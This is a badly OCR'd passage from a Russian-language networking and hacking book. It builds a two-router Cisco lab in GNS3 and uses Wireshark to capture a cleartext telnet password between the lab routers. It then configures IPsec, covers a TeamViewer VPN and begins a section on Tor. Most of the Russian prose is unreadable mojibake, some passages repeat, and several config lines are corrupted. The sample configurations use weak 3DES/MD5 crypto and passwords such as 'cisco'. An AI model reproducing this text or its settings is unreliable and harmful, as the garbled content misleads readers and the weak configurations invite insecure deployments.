Solarwinds Response |
Dynamips 0.2.12

Puc. 2.19

IToce Toro kak Bac IOMIPOCAT BBECTH CBOM e-mail W mobGnaromapsar 3a yCTaHOBKY,
IIporpaMma, HakoHell, 3aIycTHTCs. MoxeTe 3aKkpbITh mpemiaraeMsrii Setup Wizard —
HACTPOMM BCE€ CaMOCTOSTEIIBHO.

Vcranosure pycckuii s3pik: Edit | Preference| General| General Setﬁhgsl
Language | Pycckmii (ru). Yro6s1 H3MEHEHHS BETYTIWIM B CHITY, Tlepe3aIyCTUTe Ipo-
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rpammy. Bam GyeT npezuioxeHo BBECTH MM TPOEK-
Ta—. Hasonme ero 1 u cormacurech ¢ mpen-
naraeMbIM "o yMordaHmio" BEIOOpPOM IyTH JjIs CO-
XpaHEeHHUs MPOEKTa.

HonpoGy#ite /id Havana MENKHYTH MO 3Haq1<y Map-
HMIpYTU3aTOpa, B pe3yibTaTe HOSMBHTCA HeOONBINOi
crucok MapmpytHzaropos. Ho B cBi3u ¢ TeM, 4To B
JaHHBIA MOMEHT He IOIKIIOYEeH HY OIMH U3 00pa3oB
OnepalMoOHHBIX cucteM (i0s), Bce Moaenu OymyT
nozicBeveHs! 6ienHo (puc. 2.20).

Bama 3amaya — Haiitu B HHTepHerte ¢aiin obGpasa
OIEPALIOHHON CHCTEMBI MapIIpyTHU3aTopa KakKoi-
mub0 MonemM U IPOM3BECTH €ro MOAKIIOYECHHE.
HyxHele Ham ¢aitnbl (MMeroT pacmmpeHue bin wim

image) noakmodaloTcs B MeHIO PemakTmpoBars |

Router 1700
Router c2600
Router c2691
Router £3600
Router £3700
Reutar £7200
= AW router

Juniper router

Puc. 2.20

OG6passt I0S u runepsmrsopsi | @aiia o6pa3a. B paccMaTpuBaeMoM mpuMepe MBI
TIOJIOXKIITH HECKOJIbKO 06pa3os B manky: c:\Documents and Settings\ums nonvsoeame-

a2\GNS3\Images (puc. 2.21).

% GNSB Prn)ect - Tesk

Mapwipy Ty
MapwipyTrss

28
i

.

Settings\1{GNS3\Images'basecorfig.txt |

€7200-advsecurityk9-mz.124-15.77.image

Puc. 2.21
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Hocre momimodeHns BHIGPaHHOTO 00pasa BEI MMeeTe BO3MOXKHOCTB TYT e IpoTec-
THpOBaTh €ro paboTococo6HOCTE: NpH HaxkaTuk kHomku Test Settings 1owkHO O-
SIBUTBCA OTHENBHOE OKHO, B KOTOpOM OyHeT MpOHM3BENEH 3allyCK OIEpaIrMOHHOM
CHCTEMBI. JTO OKHO O0A3aTeNIbHO ClENyeT 3aKphITh ¥ COXpaHWTh KOH(QHUTYpalHio
¢ BeIOpaHHBIM (aitioM o6pa3sa (kHonka CoxpanaTs), puc. 2.22.

¥:7200—advsecurltyk9-mz 124 15 T? image

f _' anm, i:lSettvngs\l';GNSS\Images\baseconﬂg kxt

poBepsTe
paborTocnocoGHOCTL
pGpaza

Puc. 2.22

5. IlpoBepuM, YTO MapIIpyTH3aTOP C TOJIBKO YTO TIOMKITIOYEHHBIM 00pa3oM NOABWICS
B o0mmeM crmcke poyTepoB (M300paxkeHHe YCTAHOBIEHHQA MOZesH OYAeT yke SpKUM).
INepetamum 3Ha40K paboTOCHOCOOHOrO MapmpyTH3aTopa B pabouee mose Imporpam-

Mel. CzenaeM 3TO [BaXIbl, T. K. HAM i SKCIIEPHMEHTAa HYXHBI 1Ba yCTpOMCTBa
(puc.2.23).

MapwpyTrsatap €170
§ MapwpyThzatop 2600
MapwipyTrsaTop c2691
MapwpytrssTop ¢3600

i

AW router
MapuipyTrsaTop OHMNER

Puc. 2.23
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6. Brmounm poy’repm KHOTKOH GGTBIIOro TpeyromsHuka. M nanee 3aIyCTHM TepMH-
HanbHbIe porpaMMsl (SuperPytty), kak nokasaHo Ha puc. 2.24.

7. Ecnu Bce B mopsake, MbI TOJIyHHM J(Ba TEPMUHAIBHEIX OKHA, HEOOXOMUMBIE HAM ISt
KOH(UTYpHpOBaHUS Ka)KIlOFO u3 poytepos (R1 u R2), puc. 2.25.

Ecnu poyrepsl HOpMaJIbHO 3arpy3;n‘cx, TO COOTBETCTBEHHO KKMBIA U3 HUX B CBOEM
TePMHUHAIBHOM OKHe "BBIH/IET" Ha MpHTJIALICHUE: R1# U R24#.

Puc. 2.24 Puc. 2.25

8. s HAaCTPOMKH COEAMHEHHS JBYX pOYTEpOB, K&KAOro Mo o4yepenu (OmumeM AeHcT-
BHS TOJIBKO JUIA NIEPBOT0), B OTBET Ha MpPHUITIAlIEHHE BBEAEM KOMAHAY conf H HAKMEM
kiasuimy <Enter>. Ilpuriamenuie CMEHHWTCS € R1# Ha R1 (config) #. 3TO 3HAYHT, MBI
BOLIIM B KOH(GHUIypanroHHOe MeHIo. O6paTiTe BHUMaHHUE:

® poyTrep IIOHMMAET HENOMMCAaHHbIE KOMaH/BI, IIO3TOMY IOCJI€ MEPBBIX HECKOIBKHUX
CHMBOJIOB NpH HaKaTHH KJiaBumy <Enter> oH JOMOHAET UX CaM;

® eClu CJIOBO B KOMaHJIe He KOHEYHOE, M Bbl BMECTO TPOJIOJDKEHHUs BBEAETE BOMPOC
(ue 3abpiBaecM HaxaTh KiaBuinmy <Enter>), To B KauecTBe MOACKa3kH OyIoyT Tipea-
JIOJKEHBI BAPHAHTHI IPOINOIDKEHHS.

IIpoomkuM HacTpawBaTh HHTepdeic, IS 4Yero BBeAeM KOMAHAY interface
fastEthernet 1/0. BMecTo faétEthernet, €CJIM Bala MOI[eJIB MOAACPKUBACT, MOXKET
ObITh, HAIIpUMeEp, IPOCTO Ethernet. UTOGHI MOHATH /THIIBI TOJIEP)KHBACMBIX HHTEp-
deiicoB, MOXHO HaTh HE3aBEPILICHHYIO KOMaHAY: interface, TOTAA IOCIE HAXKATHS
kiaBumy <Enter> Gyner BeiBeieH uX crmcok. [TopropuM: B HameM cilydae MbI BBEIIH
KOMaHJy interface fastEthernet. 0/0. [IpUriaineHue CMEHIWIOCH Ha R1 (config-if) #.
To ectb, ceifuac MBI HaxoAUMCS Y>ke B MEHIO KOoH(urypupoBaHus uHTepdetica. Bpe-
JleM KOMaHAy ip address 10.0.0.1 255.255.255.0. BBeeM KOMaHIpI speed 10 M no
shutdown. Jlanee, 4ToOBl BEpHYTHCS Ha YpPOBEHE HWbKE (M3 MEHIO KOH(pHIypamwy WH-
Tepdeiica B oOee KOHQUTYpaIHOHHOE MEHIO), AauM KoMaHAy exit (<Enter>), mpu-
IJIallleHHe BHOBb CMEHHTCA Ha R1 (config)#. Y elme pa3 BHINIONHUM exft, MIOCIE Y€ro
IIPOU30#eT BHIXOM M3 00IIEro KOHPUTYpaIlMOHHOTO MEHIO: MIPUTJIAINCHHE CMEHUTCS
Ha R1#. ’

MosxHO TpOBEPUTE AEHCTBYIOINYIO B NaMATH KOH(MIYPAIAIO, BHIIOTHHE KOMAHIY
show running-config. B pe3yisTatre BEI yBHIOUTE MEHCTBYIOINYIO, HO eIlle HecoxXpa-
HEHHYIO KOH(uUrypamuio poyrepa. Cpeas MHOXKECTBA CTPOK JIOJDKHBI npncyTCTBOBaTb
CIICQYIOIIUE, HY>KHBIC HaM:

interface FastEthernetl/0

ip address 10.0.0.1 255.255.255.0

duplex half



Xaw-gpyHruui naponeil. LugpposaHue cemessix coeduHeHuil : 47

Tlpu BBIBOZIE KOHDUTYpALMHU Ha S5KpaH oOpaTUTe BHUMaHKe Ha 3HAY€HHe line vty O 4.
Ecnu y Bac mpyroe umcio, 3anomaure ero. Ha nmepBoM poyTepe HACTPOHM BO3MOX-
HOCTB BXOJIa Ha TMHMH Vty. JUI1 3T0oro BHOBB BOHIEM B MEHIO KOH(PUTYpHPOBaHH] —
cont. JlaJiee BBHIIONHMM line vty O 4 (BMeCTO IdpHI 4 MOKET GHITh Balle 3HAYCHHE,
HO B NPUHLIUTIE HAM M 3TOTO KOJIMYECTBA IMHUM XBAaTHT, JJaXKe €CIIM y Bac U eCTh BO3-
MOXXHOCTh YCTaHOBHUTH Goibile). JIo/KHO MOABHTHCA NpPUITIalIeHHe B MEHIO KOHQU-
rypalyy JIMHMH: R1(config-line)#. BBHINOJHHAM KOMaHAY password cisco (CIIOBO
CiSCO — 3TO MmapoJib, MOXKETE YCTAHOBHTH JTI00O# Apyroii, Ho He 3abbIBaiiTe ero). Ha
BCAKMIA CTydaii BBITIONHHUTE €1 KOMaH/Y login H Jajiee ABOKMABI exit.

YroOk1 Kom’pm‘ypauux 3alIOMHWIACh, BBIIIOJTHHM KOMAaHIY copy running-config
startup-config H ABOXKOH HaxmeMm kinasumry <Enter>. Ilomydum coobmeHnue:
Building configuration... [OK]. Celiuac koH(}purypammsa 6ymer COXpaHAThCs, Jaxke
€CJIM YCTPOMCTBO Iepe3arpy3UTh WIH BHIKIIOYHTE.

Touno Tak >ke HACTPOMM M BTOPOE YCTPOHCTBO, TOJIBKO a[ipeC yCTAHOBUM APYIoH: ip
address 10.0.0.2 255.255.255.0. 3alIOMHMM H NIPOBEPHM KOH(HTYpalHIO ¥ Ha BTO-
POM YCTPOWCTBE.

TMomeenem wror noarorosku creHna. Ha poyrepe R1 Obutk mponenans cienyromue
KOMaHJBIL: ‘

Rl#conf

Rl (config)# interface FastEthernetl/0
Rl (config-if)# ip address 10.0.0.1 255.255.255.0
Rl (config-if)# no shutdown

Rl (config-if) # exit

Rl (config)# exit

Rl#conf

Rl (config)# line vty O 4
R1(config-line)# password cisco

Rl (config-line) #login
Rl(éonfig—line)#eiit

Rl (config)# exit

Rl# copy running-config startup-config
Destination filename [startup-config]?
Building configuration...

[CK]

Ha poyrepe R2 crnemyromue:

R2#conf

R2 (config) # interface FastEthernetl/0
R2 (config-if)# ip address 10.0.0.2 255.255.255.0
R2 (config-if)# no shutdown

R2 (config-if)# exit

R2 (config) # exit

R2# copy running-config startup-config
Destination filename [startup-config]?
Building configuration:.. '

[OK]
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'Vcranosam coenunenue (link) Mex Ty HaCTpOSHHEIME untepdeiicamu £1/0 (puc. 2.26).
YroOBl YCTaHOBUTH COEAWHEHHE, -HEOOXONMMO, HaXXaB M yAep)KUBas KIIABHIITY
<Shift>, npoTaHyTH ero (coexuHeHKe) ¢ MOMOMIBIO MEIIIH OT OJHOTO poyTepa K ApY-
roMy. Ilpy memdke mpaBoii KHONKOW MBIINK Ha n306pa>1(e1mn poyTepa ecTh BO3MOX-
HOCTB BBIOOpa TpeOyeMBIX HaM MapameTpoB. BaM Gyner mpeioxkeHo (B TOM, YHCIIE)
Bbl6paT5 uHTepdelic (He 3amyTalTeCh — MBI ClEIUATBHO BRIOpay /i 060KX poyTe-
poB unTepdetice £1/0, a He £0/0).

_i <LNyCcTo>
| Honaﬂ KOHHMrypaums npuMeHeHa Ha R1

Puc. 2.26

O6paTiM BHMMaHHe, 9T0 B 00jacTd TOMOIOrHsl TIOKa3aHO COENMHEHHE MMEHHO
MeX Iy HaCTPOeHHBIMH Hamu uHTep(eiicamu £1/0.

JInis poBepKH COETMHEHMs B JIOOOM M3 POYTEpOB BBIIOJHMM KOMAaH/Y ping Ha ceTe-
BOil HHTepdeiic IPOTHBOMONIOXKHOrO poyrepa. Hampumep, Ha TIepBOM  pOyTepe
KOMaH/ia OyIeT BHINIAETE TakK:

R1# ping 10.0.0.2

TlomywsM pe3ysbTart:

Rl#ping 10.0.0.2
Type escape sequence. to abort.
Sending 5, 100-byte.ICMP Echos to 10.0.0.2, timeout is 2 seconds:

Success rate is 100 percent (5/5), round-trip min/avg/max = 24/34/56 ms
R1#

IIpoBepuM coearHEHHE B IPYTYIO CTOPOHY, T. €. CO BTOPOI'O poyTepa:

R2# ping 10.0.0.1
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IMockoneKy coeMHEeHIe HOPMATBEHO paboTaeT, MBI MOXKEM IONPO0OBaTh CleAyrowee:
¢ poyrepa R2 coeaqunmMcs ¢ iepBbpIM poyTepoM 1o niporokosy Telnet:

R2# telnet 10.0.0.1

Iocnenyer 3ampoc napos:

Trying 10.0.0.1 ... Open
User Access Verification
Password:

TMocnie BBOJA Maposis (CiSCO) BB OKAXKETECh HA TIEPBOM POyTEpe, 3TO BHAHO MO IPH-
rinamenuro R1.

IIpounsBenuTe BHIXOM, BHINOJIHMB KOMaHY exit!

Ha nepeom poyTepe ycTaHOBHM Ha mHTepdeiice Loopback( azrpéc 192.168.0.1 (ecte-
CTBEHHO, HAXOMACH B MEHIO KOHQUTYpal[HH 110 KOMaH/Ie conf):

interface Loopback0

ip address 192.168.0.1 255.255.255.0

.Ha Bropom poyrepe:

interface Loopback0

ip address 192.168.1.1 255.255.255.0

He 3alpiBalite 3amuchbiBaTh H3MEHEHHMsA KOHQurypaimi (copy running-config
startup-config).

Tonpo6yiite KOMaHAY ping ¢ poyrepa R2 Ha IP-anpec mmTepdeiica Loopback0 mep-
BOro poyrepa: '

ping 192.168.0.1

He nomyaunocs? IlpaBwibHo! Poyrep R2 "He 3Haer" o cymecTBOBaHHMHM CETH
192.168.0.0 (arober yOemurses, monpobyiire AaTh KOMaHAy R2# show ip config).
[osToMy OH He ToOChLman makeTsl Ha MHTepdeiic FastEthernet1/0. Hyx#o xots 651
CTaTHYECKH MPONMCATh POYTHHI, NMO3TOMYy Ha R2 BBHINMONHHM KOMaHAy (B MEHIO
config):

ip route 0.0.0.0 0.0.0.0 fastEthernetl/0

He 3a6HiBaiiTe MPOU3BOAUTE BEIXOJ M3 MEHIO KOH(UIypalH 0 KOMaH/E exit. BHOBB
Honpodyiire ping 192.168.0.1. JODKHO Bee MOMYYHTHCS. BhINoTHATE Takoke KOMaH-
Iy ip route 0.0.0.0 0.0.0.0 fastEthernetl/0 B KOHPUIYypaLHOHHOM MEHIO NepBO-
ro poyrepa. '

Takum 06pazoM, MBI COGPATH CIEYIOLIYIO CXeMy, B KOTOPOi BO3MOXeH 0GMeH nake-
TaMK Mexy agpecamu 192.168.0.1 1 192.168.1.1 (pruc. 2.27). -

9. lna 3amycka cHu¢pdepa Ha IEPBOM . poyTepe, LIETKHYB NpaBoM KHOIKOH MBI,
BbIbepuTe KoMaHay 3axsar (puc. 2.28).

Cor.rlacmvlcg ¢ Beibopom coenurenu (link) u ucrounuka (puc. 2.29).
Jlomken 3anmycTuTscs cnmbd:ep Wireshark (puc. 2.30).



M.
R1
loophackd
bl 192.168.1.1
loopback0
192.168.0.1
R2’
Puc. 2.27

‘Puc. 2.29

Capturing from Standard input V'alﬁreshavivk

# HacTpouts
ﬁbKasaTb!CKpblTb MMS] XOCTa:

. M3MEHWUTE MMS XOCTa

%5 AobaBuTb MMHK -

"M3MEHMTL CHMBOA

&5 VismeHmTe NopT KOHCOMM

# Koncons

< %4 3axsar >

& 3anyctvm
1 MprocTaHoBNTL
B OcraroBnTL

£% MNepesanyck

"1 &8 MamermTb nopT AUX

£3 console via AUX port

8| derc

“& 3arpysoqHasn KoHburypauvs
. ¥aanuTb .

% Raise one layer

i:z Lower one layer

.Puc. 2.28

_Pwuc. 2.30
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Ecnu cauddep ue ~3ar1yc’ri<1:1iéﬁgj‘{"mhpsepme KoH(urypamuo B MeHIO Pexakraposars |
Hacrpoiixa | 3axBar (puc. 2.31). Bo3M0XHO, HEKODPEKTHO yCTAaHOBJIEH MyTh 10

- mporpammel Wireshark B cTpoke ee 3amycka. Tak, Hanpumep, GbIBaeT, KOTAa Bbl ycTa-
HapnuBaJiu nporpamMy GNS3 Ha auck, oTiIHYHBIH oT qucka C:\.

Hacrpoiku

‘Wireshark Live Pipe Traffic Capture {experimental) (Windows)

tail.exe -f -c +0b %c | "d:\Program Files\Wiresharkiwireshark.exe" -k -i

Puc. 2.31

Ecnu cauddep Bce ke 3amycTiics, BHOBb OCyIIECTBHTE BXoJ ¢ poyrepa R2 mo mpo-
tokoiy Telnet (o6paTuBumichk yxe no ampecy 192.168.0.1: R2# telnet 192.168.0.1)
¢ IeNBI0 IPOCMOTPETh NepexBadeHHbIe makeTl. Ilocsie ocymmecTBieHus Auaiora Bbi-
MOJIHUTE TMOMCK MO TekcTy "word:" (okoH4aHHe oT cioBa Password, cM. BbIIe TeKCT
Jiajiora IpH MEepBOM HameM OOpalIeHuH 10 MPOToKoiy telnet), puc. 2.32.

B urore Haiinem uckomslii maker (puc. 2.33).

Puc. 2.32

Kak BuauM, B pesyisTaTe SKCIIEpAMEHTA 3IIOYMBIILIEHHUK [IPH OTCYTCTBHM m(ppoBa-
HHUS KAHAJIOB HMEET BO3MOXHOCTB JIETKO MEpEXBATHIBATh H UMTAaTh CETEBOM TpauK.
Oco6eHHO 3T0 ONAacHo, eciy MCTIONB3YIOTCS KaHaIbl HyOnmuHbIx ceted. C menbio obec-
neveHus 6e30MacHOCTH KaHAJIOB CYINEeCTBYeT MHOro MerozoB. Ceifuac, koraa KoHury-
pUpOBaH¥e poyTepa yke He IpeJCTaBIIieT /Ui Bac nmpobiieM, monpoGyiite OpraHu30BaTh
Ha HameM CTeHJie coeuHeHHe ¢ npuMeHenneM IPsec-nporokona.



=

¥Standard input [Wireshark}

ca 01 78 24 00 1c ca 00 00 1c 08 00 45 cO

00 52 54 72 Q0 Q0 ff 06 ¢0 a8 00 01 0a 00

00 02 00 17 98 46 75 2b dd ac 50 18

: c9 78 od 0a 55 73 65 72 20 41
63 65 73 56 65 66 69 63 61 74 69
6e 0d Oa ; Gl EE

Puc. 2.33

Ha nepsomM poyTepe (R1) T0/DKHEI GBITH C/IEIaHEI CAEAYIONIHME HACTPOMKH:

crypto isakmp policy 1

encr 3des

hash md5

authentication pre-share ,
group 2

crypto isakmp key CISCO address 10.0.0.2
crypto isakmp keepalive 10

crypto ipsec‘transform—set TEST  esp-3des esp-md5-hmac

crypto map VPN 10 ipsec-isakmp

set peer 10.0.0.2

set security-association lifetime seconds 180
set transform-set TEST

match address RRR

integface FastEthernet1/0 [
ip address 10.0.0.1 255.255.255.0

speed 10

half-duplex

crypto map VPN

interface Loopback0
ip address 192.168.0.1 255.255.255.0

ip access-list extended RRR
permit ip 192.168.0.0 0.0.0.255 192.168.1.0 0.0.0.255
ip route 0.0.0.0 0.0.0.0 fastEthernetl/0
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Ha BropoM poytepe (R2) nosokest 65ITh C€IaHB! ClieNyrOMue HACTPORKIL
crypto isakmp policy 1 ) '

encr 3des

hash md5

authentication pre-share -

group 2

crypto isakmp key CISCO address 10.0.0.1
crypto isakmp keepalive 10

crypto ipsec transform-set TEST esp-3des esp-md5-hmac

crypto map VEN 10 ipsec-isakmp .
set peer 10.0.0.1 .
set security-association lifetime seconds 180
set transform-set TEST -
match address RRR

interface FastEthernetl/0

ip address 10.0.0.2 255.255.255.0
speed 10

half-duplex

crypto map VPN

interface LoopbaékO
ip address 192.168.1.1 255.255.255.0 .

ip access-1list extended RRR
permit ip 192.168.1.0 0.Q.0.255 192.168.0.0 0.0.0.255

ip route 0.0.0.0 0.0.0.0 fastEthernetl/0

Ecmu Gyner Bce npaBWIBHO HACTPOEHO, TO NOJDKHA "nogHATECA" [Psec-ceccus, 9To MOXK-
HO IPOBEPUTH, BO-IIEPBBIX, KOMaHAOH (puc. 2.34): ~

sh cry ipsec sa
A BO-BTOPBIX, BHITIOJIHUB KOMaHIy:
ping 192.168.0.1 source loopback0

B pesynstare B cuuddepe Mbl He yBHAEM nakeror ICMP-npoTokona (ping), IOTOMY 9TO
10T Tpaduk mudpyercs, 3aTo OyAyT IPUCYTCTBOBATEH umcbpopamme naxers! (puc. 2.35).

He cmyuaitso HCTOYHMKOM (SOUrce) s KOMaHIbl ping ciyxuT loopback0, xoropsri
umeet aapec 192.168.1.1! Illudposanue B HauieM mpuMepe U OBLIO BKIIOYEHO MEKRY
Asyma Toukamu: 192.168.0.1 1 192.168.1.1.

He ucTpaThB HU KOTIEHMKH J€HET, Mbl CMOIJIM OPraHH30BaTh B JOMALIHNX YCIAOBHAX CTEHN
U3 O4YEHb JOPOTOro cereBoro obopymosaHusa. Passe 310 He ymuBHTensHO? TakuM obpa-

/
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30M, B pe3yJbTaTé HAOIMX ONMBITOB MBI PaCCMOTpENId BO3MQAHOCTH Cpa3y HECKOIbKHX
TpOrpamM, NpeHasHaYeHHBIX A1 KOHQUIYPHUPOBaHHS 0€30IMaCHBIX CETEBBIX COEHMHE-
Huii. Xakep Xe MCHONb3YeT TaKHe WHCTPYMEHTHI WA OTIaAKH W COBEpIIEHCTBOBAHHA
CETEeBBIX aTak.

B kawecTBe JOMANIHEro 3aaHMsA, IJid NaJbHEHIIEro pa3BUTHA, nonpolyiite cobpark
CTeHJI, Tak YToOBI opranu3oBath IPsec-coeuHeHre MEKIY ABYMA CETAMM, pa3JAe/ICHHBI-
MU 11apoit poyTepoB (He npuMeHsd B dkcriepumente loopback).

reshark]

4 6 89062500 10 Q.
596.92187500.10. 00
6 6.93750000 10.

.0312500010.0.0. . 0. 166 ESP (SPI=0x1d3k

.0781250010.0.0. .0.0. 166 ESP (SPI=0x5d0e

.1093750010.0.0, . 0. 166 ESP (SPI=0x1ld3k
166 ESP (SPI=0x5d0

24 i 00 45
10 . 02 Qa
oe 8b do
as 04 46
cl 7e 06
7 17 86 42

Puc. 2.35
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30M,. B pE€3yNbTaTeé HAIIHUX OMBITOB MBI pacCMOTpEIH BO3MO)KHOCTPI ‘Cpazy HECKOJIBKHX
mporpamMm, Mnpe€aHasHAYCHHBIX ' 1 KOH('bI/[l"ypI/IpOBaHI/I}I 0€30II1aCHBIX CETEBBIX COCaAUHEC-
HUH. XaKep K€ HCIIOJIB3YET TakKue I/IHCTp}’MeHTBI Il OTJIAAKU -U COBEPIICHCTBOBAHMA
CETEBBIX aTak.

B kauecTBe AOMammHero 3amaHuis, MU JajdbHEHINEro pa3BUTHUSA, MONpoOyHTe coOparb
‘ : ]

CTeHJ, TaKk YToObl OpraHu3oBaTh [Psec-coeiuHeHHe MeX Iy ABYMsS CETAMH, pa3/eieHHbI-

MM TIapoii poyTepoB (He MpHUMEeHs B aKcriepuMeHTe loopback).

VI3
lozal addr 10.0.0.1

10.0.0.1, ¢ te crypto endpt.: 10.0.0.2
wt 1800, ip mwtu il FastEthernetl/0

/

4 6.89062500 10
5 BLOXIBTS00I0. i L1 ogsaep 106 Informationa
6 6.9375000010.0.0. .0. _ 166 ESP (SPI=0x1d3
. - - - 126 Informationa

-03125000 10.

97 0.0.1 .0.0.2 166 ESP (SPI =0x1d3k
10 7.0781250010.0.0.2 10.0.0.1 ESP 166 ESP (SPI=0x5d0¢
11 7.1093750010.0.0.1 10.0.0.2 ESP 166 ESP (SPI=0x1d3k
12 7.1250000010.0.0.2 10.0.0.1 ESP 166 ESP (SPI=0x5d0¢&

00 45 00
02 0a Q0
8b d9 3b

04 46 dS
7e 06 50
86 42 bd

Puc. 2.35
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2.3. bonee npocwﬁ%ﬁ*ﬁp‘umep

WwrdpoOBaHHOIO CETEBOro kaHana

Ecnu npakTHKYM B pa3o. 2.2 oKa3ajics BCe XKe CIIMIIKOM CIOXKHBIM IS Bac, mompoGyiiTe
U3yudTh IMHU(QPOBaHWE CETEBOr0 KaHaja Ha INpuMepe opraHusammi VPN ¢ moMoimsio
crnoco0a, yka3aHHOTO. B HACTOSIIEM pa3zielie.

VPN — Virtual Private Network, wiu BUpTyanbHas NpuBaTHas (4acTHas) ceTb. 10 ecTh
3TO CeTh, OpraHM30BaHHAs MOJB30BAaTEIMH TOBEPX KaKOW-MHOO IMyOIMYHOM ceTH
(PDN — Public Data Network, myOnuanas ceTs nepenaun JaHHbIX). B Gonbineii crenenun
B KaueCTBe ITyOIMYHOM CETH Hac, KOHEYHO JKe, MHTepecyeT MHTepHeT.

ITpuBatHOCTE B VPN oObecneurBaercs 3a cyer muppoBaHus Tpaduka MEXITy XOCTaMH.
HemHoro nozxe (B cieAyroleii IiaBe) MBI pacCCMOTPHM elne IpUMep, KOTOPHIH TakxKe,
B KaKO#-TO CTeneHH, MOXHO cunTaTh VPN, — 3710 cets Tor, Henone3yemas Xakepamu.

B 3aBHCHMOCTH OT Ha3HAYeHHs, CTIOCOOOB peai3aliy, CTETIEHH 3aIUTE, YPOBHS CeTe-
BOT'O ITPOTOKOJIA, TUTIa IIPOTOKOJIA CYIECTBYET MHOKECTBO Pa3IMYHBIX BUA0B VPN.
Jlymaetcs, 910 B KadecTBe elle OZHOro IpuMepa Hac Oojiee 3aMHTEpeCyeT caMblil Ipo-
croii mpumep VPN, peanmusyemsli Ha NPHKIAJHOM YPOBHE, JOCTYNHBIH KaXIOMy
IIKOJIBHUKY. .

B HacTpoeHHO# mni oOBMHOro coelnuHeHWs IporpamMme TeamViewer HeoOxomumo
¢ obenx cTopoH YCTaHOBHTB ApaiiBep VPN. Ii1s 3TOro Ha KakKAOM U3 KOMITBIOTEPOB, BBI-

Ogsosroe
BesoracHotTe
Krona QuickCannect
Ynanks OF yrpaBAeHue CrRCTUTE GWICOK SROKHDOBANHL YuETHIX 3amMcel g
Korsheperisin "] Cxpomare craTyc "B ceTw® ans gammoro ID 1
KOMAIIOTEPE: H KOHTAITE fip 6 o7 YETHEIX 3aTBICEA
A : [¥] NoxazvaTs KommmioTeps: 1 KONTAKTS™ NPY 3anyoe
yavoKoHbEpEHYS . s
éq:u:p‘!‘m‘ﬁewer

YcrarosuTe apaliaep VPN

YCTaHOBUTS APSBED MOHUTOP3

YcranosuTo apadiBep NpUHTEPa
Hcons3oeaTn UDP (pexnMenayeToR)

Paspeit Tt BEAEHME XYPHARA PErMCTpaLYM

Puc. 2.36
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Opas B MeHio lononaaTeabHo | Ounun | lonoaaurensuo | Ilokazats JoNOIHATEb-
Hble HACTPOHKH, B OKHE HACTpOeK B pa3ieiic J{OHOJHHTeIbHbIe HACTPOHKH CETH

I mapaMerpa. YcTanoBATh ApaiiBep VPN crenyer HaxaTh ‘KHONKY YCFAHOBHTE
(puc. 2.36 u 2.37). '

Puc. 2.37

\ |
I'Iocne HaOKaATUA KHOIIKHA YCTaHOBﬂTb B I'NIaBHOM "MCHIO ITPOrpaMMBbl TIOABHUTCA ONIMA
VPN (puc. 2.38).

| Paspewmuts ynipassenue

Caoobigwre napTieEpy megyouie ID i napons,
. €0 NOTHTE Pask 2%

YripasnsTh KOMIbIOTEPOM

Baegwre I} napTHEépa, YTobu ynpasasTs
& Tepom

i 249 306 179

5935

fyTe CBGH ¥ NapoAL gne JOCTYNA K
ITOMY KOMMBICTEDY U3 MOECH TOUKIA

Puc. 2.38

IIpu BeiGope ommu VPN Ha AByX pasiMuYHBIX KOMIBIOTEPAX M YKa3aHMHM COOTBET-
ctBytomero ID kxommeloTepa, C KOTOPBIM YCTaHABIMBACTCS COEAMHEHHWE, YCTaHO-

Burca VPN-kaHan, nmpu sTtoM OyAer MoKa3aH CIEQYIOHIM 3KpaH CO CTaTUCTHKOM
(puc. 2.39).
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Y10 04eHb BakKHO — ycTaHOBIEHHOe VPN-coenuneHue Gyner paboTaTs He FOIBKO IS
TeamViewer, Ho u s apyrux mporpamm. Taxum o6pasom, Gyaer obecredeno Gecruiat-
HO€ 3alIMIICHHOE COeMHEHUe Yepe3 MHTepHeT. B KauecTBe NOMAINHETO 3a/laHus C I10-
Mousio cHAddepa, a umerHo nporpammer Wireshark, BeI MOXkeTe CaMOCTOSTENBHO PO~
BEPHTH, NEHETBATENHHO 1 IHppyeTcs KaHal.

Cm%ww&mmmkm@ymmﬁaﬁm
ASET 531 BOIMOMHOCTE TONYNMTL AOCT YT K NEPTHEDY 11 BCER NPOrPaMMNas, 2 He TORBKD K
. TeamViewer.

. BAs NORYueHUR RONOAMMTebHOM wdiopuaiss o VPN noceTuTe seb-caitr
- hitp:ffwenn. teamviewer.com

| AcTuEHOE CoemsEHAE
YPM:

. ~Cocrossase
: Coepmnersse VPN paboraer

Baws IP:

P rapnipa:
Tpade: i 12918/23148

?245243.223;

- BedcTeue -
! CYecTByIoT SBE BOINOAHOCTH HOIAL30BaHA VPN, Nepsan 803Mox0cTs
3aKRONBETON B TIGNYHEHN AOCT YA K NapTHapy (Kai K mobomy xoMnuioTepy 8
noxansHol e} wepes Mpososarss Windows.
TecToBL#% IXC-0AHAA HRONL3YETOR A6 MPOBEMIK OLOPOCTI 1 CTalMARNOCTY

’ '

Puc. 2.39
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AHOHUMHOCTbL B CeTHU

3.1. Tor ansa obecneyeHMss aHOHUMHOCTU B CETU

IToroBopuM HemHOro eme o6 oxHO#M abcomoTHO OecrmaTHOM, CBOOOAHO pacmpoCTpa-
HAEMOii MporpamMMe i CKPhITHA NMpeGBIBAHMSA B CETH C MHTPHIYIOIIMM Ha3BaHHEM —
Tor (The Onion Router)! D10 HHCTPYMEHT Jijisl OCYIIECTBIICHMA TaK Ha3biBaeMo#l "JIyKo-
Bo# MappyTHzamyu". [IpumedaTenbHO, 9TO Aaxke B JIOTOTHIIE MPOrPaMMEI HCTIONb3YeT-
cs m3obpakenue JTykoBuibl. [IpaBaa, oHa He HaJKycaHHas kak 0J10K0, HO 3aTO C HeJoC-
TaoIel YeTBePTHHKOM.

B ykazaHHO cHCTEME C HENBIO OCYIIECTRICHUSA AaHOHUMHOCTH UCTIONB3YyeTCs Hemas CeTh
crenuaabHO MpeAHa3HAYEeHHBIX 1A 3Toro cepBepoB. Tpaduk mmdppyercs. Baanmoneii-

" CTBHE OPraHU30BAHO TAK, YTO HE TOJBKO OOECIEeYMBAeTCS aHOHUMHOCTh BAlIMX COEMH-
HEHH, HO BO3MOXXHO TaK JKe [IPH JKEJIaHMHM CO31aBaTh U aHOHMMHbBIE HHTEPHET-PECYPCH,
HE pacKpbiBas UX JAeHCTBUTEIFHOE MECTOIIONIOXKEHHE.

O cepbe3HOCTH TPOeKTa FOBOPUT MHOroe. Bo-nepBhIX, HCTOpHA MOABIIEHUS 3TOTO IpH-
AOKEHHUS B MyONMYHOM MONBE30BAHMM: MO OOINETIPHHATON BEPCHU W3HAYABHO TPOEKT
